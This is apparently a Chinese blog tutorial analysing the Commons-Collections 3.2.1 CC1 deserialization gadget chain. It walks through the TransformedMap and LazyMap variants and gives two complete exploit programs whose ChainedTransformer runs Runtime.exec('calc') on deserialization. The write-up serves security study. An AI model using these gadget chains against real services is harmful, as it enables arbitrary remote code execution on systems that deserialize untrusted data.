Commons-Collections 篇 --CC1

CC1

介绍

CC1 是 Apache Commons-Collections 3.2.1 库中最经典、最著名的反序列化利用链(Gadget Chain)。
攻击者只要能控制反序列化输入,就能通过 CC1 链在目标机器上执行任意命令(RCE)。

CC1 链的源头是 Commons Collections 库中的 Tranformer ( org/apache/commons/collections/Transformer.java )接口中的 transform 方法。
这个接口的设计初衷,是为了把一个对象转换成另一个对象, 但是,在实现类里把 transform 变成“可以执行任意逻辑”时,就出现了漏洞。

环境

  • 官网下载jdk8u_65(以英文打开官网,才可下载到65;中文打开会下的其他版本)

    image-20251119202800897

  • 建立项目,pom.xml加入3.2.1依赖

    1
    2
    3
    4
    5
    6
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
  • 修改sun包(http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4)

    class文件转为源码(方便调试)

    1. 下载zipimage-20251119202800837

    2. 解压得到jdk-af660750b2f4

      在如图的路径

      image-20251119210815486

    3. 将sun文件夹放到(从上面拖到这个路径下)

      sre从dk1.8.0_65的sre.zip解压即可

      image-20251119211155555

    4. 把 src 文件夹添加到源路径下

      image-20251119214151066

Find Usages(利用点查找)

攻击链分析

入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法(需要逆向分析)

image-20251120162200642

commons collections就是可序列化集合类,可以接受任意对象

利用点查找

  1. 找到“反序列化入口”

    找的是能触发:

    1
    ObjectInputStream.readObject()

    的地方(无论是手写的 / 网络传输 / RPC / Tomcat session / RMI 等)

    典型入口代码:

    1
    2
    ObjectInputStream ois = new ObjectInputStream(inputStream);
    Object obj = ois.readObject();

    IDE(如 IDEA)里直接用右键 readObject() → Find Usages你就能看到所有执行反序列化的地方

  2. 从入口往下找“可控对象”

    条件 描述
    ✔ 有反序列化入口 readObject() 触发
    ✔ 输入内容可控 你可以发送恶意序列化数据
    ✔ 类的 readObject 中会调用某些危险点 如方法执行、getter 调用、hashCode 等

    寻找会被反序列化的类:

    • 看 readObject() 之后出现的代码(调试时可见反序列化的类名)。
    • 查看该入口接收的数据是什么类型的对象。
    • 找这些类是否实现了 Serializable。
  3. 找 危险方法自动触发点

    方法 说明
    readObject() 反序列化时自动触发
    readResolve() 替换对象时调用
    finalize() GC 时调用
    hashCode() / equals() 被放入 HashMap 时触发
    compareTo() TreeMap / PriorityQueue 排序时触发
    toString() 打日志时触发
  4. 寻找 集合类引发的链式调用

    用 Find Usages 查某个可疑类是否被放入 HashMap / TreeMap / PriorityQueue 等结构中。
    如果发现这种情况 = 有可能形成反序列化链。

  5. 查 gadget(利用类)是否存在于依赖中

    查看库中是否存在 gadget,例如:

    • commons-collections
    • fastjson
    • jackson
    • xstream
    • groovy
    • jython
    • rome
    • spring-core

    查看是否有地方反序列化这些类,就能判断是否可利用。

分析

  • 先在一个CC1Test文件写个测试代码的框架吧

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    package org.example;
    
    import java.io.*;
    
    public class CC1Test
    {
        public static void main( String[] args ) throws Exception
        {
            //在这测试
        }
    
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
    
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    }

TransformedMap 版

漏洞利用

  • 提前了解到cc1是由类InvokerTransformer它实现接口Transformer

    可以先弹一个计算器测试一下,环境能不能跑通

    image-20251120174146224

  • 首先是发现了了一个Transformer接口,用于接收对象来实现transform(Object input)方法

    image-20251120174619857

  • 查看其实现类

    image-20251120174737422

    定位到了InvokerTransformer

  • InvokerTransformer.java,查看这个文件的transform方法

    image-20251120175042901

  • 发现存在反射调用

    1
    2
    3
    4
    5
    6
    7
    8
    public Object transform(Object input) {
           if (input == null) {
               return null;
           }
           try {
               Class cls = input.getClass();
               Method method = cls.getMethod(iMethodName, iParamTypes);
               return method.invoke(input, iArgs);

    接收对象之后,对方法,值进行反射调用(这些都是可以自主控制的)

  • 利用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    package org.example;
    
    import org.apache.commons.collections.functors.InvokerTransformer;
    
    import java.io.IOException;
    
    public class CC1Test {
        public static void main(String[] args) throws IOException {
            //Runtime.getRuntime().exec("calc");
            Runtime r = Runtime.getRuntime();
            //方法名为exec,参数类型为String,参数值为calc
            InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
            invokerTransformer.transform(r);
        }
    }

    image-20251120182139244

逐步分析

第一步

  • InvokerTransformer.java存在exec()

    也就是InvokerTransformer的transform方法是危险方法

    input 对象 → InvokerTransformer("getMethod") → InvokerTransformer("invoke") → InvokerTransformer("exec")
    image-20251120210855494

  • 现在要回推 哪个调用了transform

    跟进transform

    image-20251120211501756

    image-20251120211507149

    在项目和库中进行查找

  • 主要是查看不同类 调用transform,最后最后回到readObject()

    也就是说不要transform返回transform

    最后找到了就是map类

    image-20251120211944587

    流程:就是看x调用transform,在找x有没有readObject()调用

  • TransformMap调用较多,先从这里入手

    以checkSetValue为例:

    1
    2
    3
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    这个方法里面调用了transform

  • 查看TransformedMap构造函数

    1
    2
    3
    4
    5
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    是个protected类, 自己才可调用

    意思就是说:传入将key&vbalue传入map,包装成TransformedMap

    1. super(map)

      把传入的 map 保存到父类 AbstractMapDecorator 中
      也就是它内部真正的数据还是你传进来的 Map。

      包了一层 ≈ 装饰模式(Decorator Pattern)

    2. 保存 key 和 value 的 transformer

      1
      2
      this.keyTransformer = keyTransformer;
      this.valueTransformer = valueTransformer;

      以后只要有人调用:

      1
      map.put(key, value)

      就会自动触发:

      1
      2
      key = keyTransformer.transform(key);
      value = valueTransformer.transform(value);
  • 在往上看decorate返回值为TransformedMap

    1
    2
    3
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    decorate是个静态方法

    存在就是为了:将一个普通的 Map,包装成一个“可自动 transform 的 Map

    疑问:

    TransformedMap写构造器。之后,为什么还要decorate静态方法

    由于是protect的构造器,如果不能new,只能在内部调用,所以需要一个静态方法将其实例化

    所以就出现这样的构造:

    1
    2
    3
    4
    5
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
    HashMap map = new HashMap();
     map.put("key", "value");
     Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);//包装,调用即执行value = invokerTransformer.transform(value);
    //(map, null, invokerTransformer)由于 checkSetValue返回的是valueTransformer,所以key为null

第二步

  • 现在的目的就是要传入value

    1
    2
    3
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    不知道value可不可控,所以现在就要查看checkSetValue在哪调用了

  • 查找调用

    image-20251121141843399

    AbstractInputCheckedMapDecorator.java这个类之下(其实这是TransformedMap的父类)

    image-20251121141943785

  • 继续看来自MapEntry这个类的setValue

    1
    2
    3
    4
    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }

  • 查看setValue的调用

    image-20251121193414893

    返回的是entry.setValue(value);,也就是说value要走这里

    构造试试:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    public class CC1Test {
        public static void main(String[] args) throws IOException {
            //Runtime.getRuntime().exec("calc");
            Runtime r = Runtime.getRuntime();
            //方法名为exec,参数类型为String,参数值为calc
            InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
            // invokerTransformer.transform(r);
            
            //利用hashmap取出每个 Entry,恢复 key 和 value,插入到新的哈希结构中。	其中会调用 value.hashCode() 或 key 的方法(导致 transformer 执行)
            HashMap<Object, Object> map = new HashMap<>();
            
            //map中写入值,后面替换成恶意对象
            map.put("key","value");
            
            //建立一个“包装器(wrapper)”,使 setValue 会触发 transformer
            Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
            
            // 遍历,通过 setValue 强制触发 transformer,把恶意对象注入到 HashMap 的内部 Entry 中
            for(Map.Entry entry:transformedMap.entrySet()){
                entry.setValue(r);
            }

    for循环遍历:

    1. 每次循环取出TransformedMap中的Entry节点对象(包含 key/value)
    2. 当前这个 entry 的 value 替换成 r(因为它是 TransformedMap 包装过的 Entry,实现了setValue 强制触发 valueTransformer.transform(r))
  • 目前的流程

    image-20251121203814040

第三步

  • 接下来就是按照上面的方法找setvalue

    先找有没有哪个类的readObject直接调用了setvalue

    既有readobject,还有数组遍历,还调用了setvalue

  • 看看这个类的构造函数

    image-20251121204433543

    map可控,直接将前面构造好的map传入即可

    注意:

    image-20251121204603131

    class默认为**default** 类型(包访问权限,在这个包下面才能访问)——->需要反射

问题

  1. Runtime没有反序列化接口,需要反射

    1
    2
    3
    4
    5
    Class c = Runtime.class;
    Method getRuntimeMethod = c.getMethod("getRuntime", null);
    Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
    Method execMethod = c.getMethod("exec", String.class);
    execMethod.invoke(r, "calc");
  2. 这个类下的setvalue方法返回的是一个AnnotationTypeMismatchExceptionProxy对象

    不是我们上面想要的runtime对象

    image-20251121205546549

  3. 处理这个类下的if条件过滤

    image-20251121210557183

逐步构造

解决问题1

  • 根据runtime反射 对InvokerTransformer写runtime反射

    1
    2
    3
    Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
    Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

    但是步骤太多,每一句都是transform的循环调用

    正好有一个chainedtransformer()

  • chainedtransformer()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public ChainedTransformer(Transformer[] transformers) {
           super();
           iTransformers = transformers;
       }
       public Object transform(Object object) {
           for (int i = 0; i < iTransformers.length; i++) {
               object = iTransformers[i].transform(object);
           }
           return object;
       }

    把Transformer当作数组写进去之后,接下来递归调用

  • 编写

    1
    2
    3
    4
    5
    6
    7
    8
    //利用ChainedTransformer缩减代码
    Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    .transform(Runtime.class);
  • 写map+调用

    image-20251121222319237

    invokerTransformer替换为chainedTransformer(调用一次相当于调用三次)

    1
    2
    3
    HashMap<Object, Object> map = new HashMap<>();
           map.put("key", "aaaa");
           Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
  • 加上序列化和反序列化的执行代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, transformedMap);
    
        serialize(o);
        unserialize("ser.bin");
    
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

解决问题3

第一个if:主要是 对于注解的class进行限制——————>传入的注解参数,是有成员变量的

  • 获取type成员方法,然后又在成员变量中查找它

    所以需要一个有成员方法的class(注解),而且key还要改成成员方法的名字

  • 换个其他注解(Target)

    image-20251121224639024

    返现返回的是value()

    但是我们构造的key,所以将key改成value试试

    image-20251121224440700

    发现可以进去了

  • 修改

    1
    2
    3
    HashMap<Object, Object> map = new HashMap<>();
           map.put("value", "aaaa");
           Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

第二个if:判断能不能强制转换(不能强制转换即可进)

解决问题2

最后的最后就是要改传入对象

用到的是constantTransformer

  • 进去看一下

    image-20251122152659662

    意思就是说,不管接收什么,都返回自己的值

    所以加一句这个即可

    image-20251122153034060

    所以在调用checksetvalue时,返回valueTransformer.transform(value)

    调用transform(value)时,走到上面提到的代码

    将value替换成Runtime.class

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class CC1Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
        //根据runtime反射   对InvokerTransformer写runtime反射
//        Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

        //利用ChainedTransformer缩减代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

//        //Runtime.getRuntime().exec("calc");
//        Runtime r = Runtime.getRuntime();
//        //方法名为exec,参数类型为String,参数值为calc
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        // invokerTransformer.transform(r);
        
        //利用hashmap写一个存储值的map,并且执行上面的  恶意代码
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "12");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        
        
        //构造一个经过加工、包含恶意 TransformedMap 的 AnnotationInvocationHandler 对象,让它在反序列化时进入 readObject,进而触发 commons-collections 的 transform 链。
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");

    }
    //序列化反序列化函数
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结流程

InvokerTransformer.transform(value)

transformMap+decorate

valueTransformer.transform(value)——–>后面修改成了ChainedTransformer.transform(value

checkSetValue(value)

entry.setValue(value)

AnnotationInvocationHandler 的 memberValues.entrySet()

AnnotationInvocationHandler.readObject

image-20251122163300608

或者看这张图(这张图片出自Bxhhf’s blog)

image-20250427210201599

LazyMap 版

和上面不同的就是查找transform的时候,转到的是LazyMap上面是TransformMap

image-20251122162812183

逐步分析

  • 查看LazyMap的get方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

    调用了 factory.transform(key)

    而 factory

    image-20251122163515509

    Transformer传

    这个类的意思是:

    如果传入的时候不存在key,则利用transform方法调用
    存在则直接返回key值

    所以要确保 map.containsKey(key) 里面没有key值

因为get查找实在太多了,根本找不过来,看看其他师傅的exp吧

image-20251122200905278

  • 查看谁调用get

    看到上面是AnnotationInvocationHandler

    在这个文件里面搜素get(

    一个有五个,看哪个我们可以控制

    image-20251122201201599

  • 找到了invoke()方法

    因为invoke()方法写动态代理时必定调用(动态代理不管传入什么都会调用Proxy.handler.invoke())

  • 由于现在Proxy要实现接口,现在就是要找一个接收接口的容器(比如:hashmap)

    于是又找到了AnnotationInvocationHandler.readObject

    因为它可以接收map,而正好对应上面的容器

现在的目的就是到走到最后的 Object result = memberValues.get(member);

所以需要绕过下面的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    
    //如果调用equals方法,后面就会返回equalsImpl(args[0]),这不是我们的目的,    所以就不能用equals方法
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    
    //如果参数不为0(有参方法),就会抛出异常,为了不要抛出异常,  所以就要在readobject里面调用无参方法
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
    case "toString":
        return toStringImpl();
    case "hashCode":
        return hashCodeImpl();
    case "annotationType":
        return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);
  • 所以就要在readobject里面调用无参方法

  • 查看readobject,就有无参方法

    image-20251122204853571

    所以说就可以将

    1
    2
    3
    AnnotationInvocationHandler.readObject的memberValues当做proxy
    
    AnnotationInvocationHandler的memberValues当做LazyMap

    为什么有两个呢??

    根据当面的链子,这个类用了两次,一次当做map,一次当做接口

    在后面写exp的时候就需要实例化两次

逐步构造

  • 先写map

    1
    2
    3
            HashMap<Object, Object> map = new HashMap<>();
    //        map.put("value", "12");    //不要传参
            Map<Object, Object> lazyMap = LazyMap.decorate();

    查看LazyMap.decorate的参数

    image-20251122213140011

    调用下面这个

    所以

    1
    2
    HashMap<Object, Object> map = new HashMap<>();
    Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
  • 下一步,获取类名,写构造器,执行方法

    1
    2
    3
    4
    5
    6
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationhdlConstructor.setAccessible(true);
    //主要就是修改了这一行, 就改了一个map名
    //而且Target.class可以传入其他的   比如Override
    Object o = annotationInvocationhdlConstructor.newInstance(Target.class, lazyMap);

    为什么Target.class可以传入其他的 比如Override?

    因为这次不需要进if条件,即可到访问点

    image-20251122214224552

    目前只要不爆出异常即可(所以上面map没赋值)

    所以这么写

    1
    2
    3
    4
    5
        Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor =c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
    //这里强制转化的原因是,InvocationHandler类型在后面  写动态代理传参 会用到
        InvocationHandler h = (InvocationHandler)annotationInvocationhdlConstructor.newInstance(Target.class, lazyMap);
  • 接下来写动态代理

    1
    2
    Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
    //强制转化的原因: 由于后面你写下一步的代码传参需要map类型   (AnnotationInvocationHandler接收map)

    image-20251122215749733

  • 还要用AnnotationInvocationHandler,还得写构造器

    1
    Object o = annotationInvocationhdlConstructor.newInstance(Target.class, mapProxy);

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class CC1Test2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
        //根据runtime反射   对InvokerTransformer写runtime反射
//        Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

        //利用ChainedTransformer缩减代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<>();
//        map.put("value", "12");
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Target.class, lazyMap);

        
        Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
        serialize(o);
        unserialize("ser.bin");




    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结流程

InvokerTransformer.transform(value)

lazyMap+decorate

valueTransformer.transform(value)——–>后面修改成了ChainedTransformer.transform(value)

factory.transform(key)

lazyMap.get

invoke访问memberValues.get(动态代理)

AnnotationInvocationHandler.invoke

AnnotationInvocationHandler(memberValues)———>mapProxy(动态代理的 Map)

AnnotationInvocationHandler.readObject

下面那个

image-20251122201828302


Commons-Collections 篇 --CC1
http://example.com/2025/11/24/CC1/
作者
Piggy Sprint
发布于
2025年11月24日
许可协议